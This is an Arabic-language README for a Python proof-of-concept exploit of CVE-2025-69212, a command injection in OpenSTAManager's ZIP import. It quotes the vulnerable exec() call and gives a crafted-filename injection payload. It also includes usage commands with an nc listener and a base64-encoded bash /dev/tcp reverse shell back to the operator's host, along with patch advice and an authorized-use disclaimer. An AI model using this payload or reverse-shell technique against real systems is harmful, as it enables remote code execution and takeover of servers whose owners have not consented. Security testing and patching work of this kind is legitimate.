
python poc، استغلال لـ CVE-2025-69212
إثبات المفهوم لاستغلال CVE-2025-69212، وهي ثغرة حقن أوامر نظام التشغيل (OS Command Injection) في OpenSTAManager <= 2.9.8 التي تسمح لمهاجم موثوق بتحقيق تنفيذ أوامر عن بُعد (Remote Code Execution) عبر تحميل ملف ZIP تم التلاعب به بشكل ضار.
توجد الثغرة في src/Util/XML.php عند السطر ~100، حيث يمرر التطبيق اسم ملف يتحكم به المستخدم مباشرة إلى استدعاء exec() في قشرة النظام دون تعقيم:
exec('openssl smime -verify -noverify -in "' . $file . '" -inform DER -out "' . $output_file . '"');
عند تحميل أرشيف ZIP عبر مكون importFE_ZIP (/actions.php)، يقوم التطبيق باستخراج المحتوى ويمرر اسم كل مدخل .p7m إلى exec(). يمكن للمهاجم إنشاء ZIP باسم ملف ضار يؤدي إلى الخروج من الوسيطة المقتبسة (double-quoted argument) وحقن أوامر قشرة عشوائية.
حمولة الحقن (اسم الملف):
invoice.p7m";<COMMAND>;echo ".p7m
التنفيذ الناتج في القشرة:
openssl smime ... -in "invoice.p7m";<COMMAND>;echo ".p7m" ...
# ^^^^^^^^^^^^ تم حقنها هنا
ملاحظة: لا يمكن أن يظهر الشرطة المائلة للأمام
/مباشرة في اسم الملف لأنZipArchive::extractTo()يتعامل معها كفاصل مسار. يتجنب إثبات المفهوم (PoC) ذلك عن طريق ترميز حمولة القشرة العكسية (reverse shell) بصيغة base64.
requestsnc)تثبيت التبعيات:
pip install requests
python3 CVE-2025-69212.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> --lhost <YOUR_IP> --lport <YOUR_PORT>
# بدء المستمع
nc -lvnp 4444
# تشغيل أداة الاستغلال
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444
# التوجيه عبر Burp Suite
python3 CVE-2025-69212.py -u http://target.htb -U admin -P 'password' --lhost 10.10.14.5 --lport 4444 --proxy http://127.0.0.1:8080
.p7m يتضمن اسمه الأمر المحقونbash -i >& /dev/tcp/LHOST/LPORT 0>&1) بصيغة base64 لتجنب الشرط المائلة للأمام في اسم الملف/actions.php عبر مكون importFE_ZIPexec()، مما يؤدي إلى تشغيل القشرة العكسيةقم بالتحديث إلى OpenSTAManager 2.9.9 أو أحدث، والذي يقوم بتعقيم أسماء الملفات قبل تمريرها إلى أوامر القشرة.
إذا لم يكن التصحيح فوريًا ممكنًا، قم بتعطيل مكون importFE_ZIP أو تقييد الوصول إلى /actions.php للمستخدمين الموثوقين فقط.
هذه الأداة مخصصة لأغراض اختبار الأمان المصرح به والأغراض التعليمية فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرح به ضد أنظمة لا تملكها غير قانوني وغير أخلاقي. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
| الوسيط (Argument) | مطلوب | الوصف |
|---|
-u, --url | نعم | عنوان URL الأساسي للهدف (مثل http://target.htb) |
-U, --username | نعم | اسم المستخدم في OpenSTAManager |
-P, --password | نعم | كلمة المرور في OpenSTAManager |
--lhost | نعم | عنوان IP الخاص بك للقشرة العكسية |
--lport | نعم | منفذ الاستماع الخاص بك للقشرة العكسية |
--proxy | لا | وسيط HTTP (مثل http://127.0.0.1:8080) |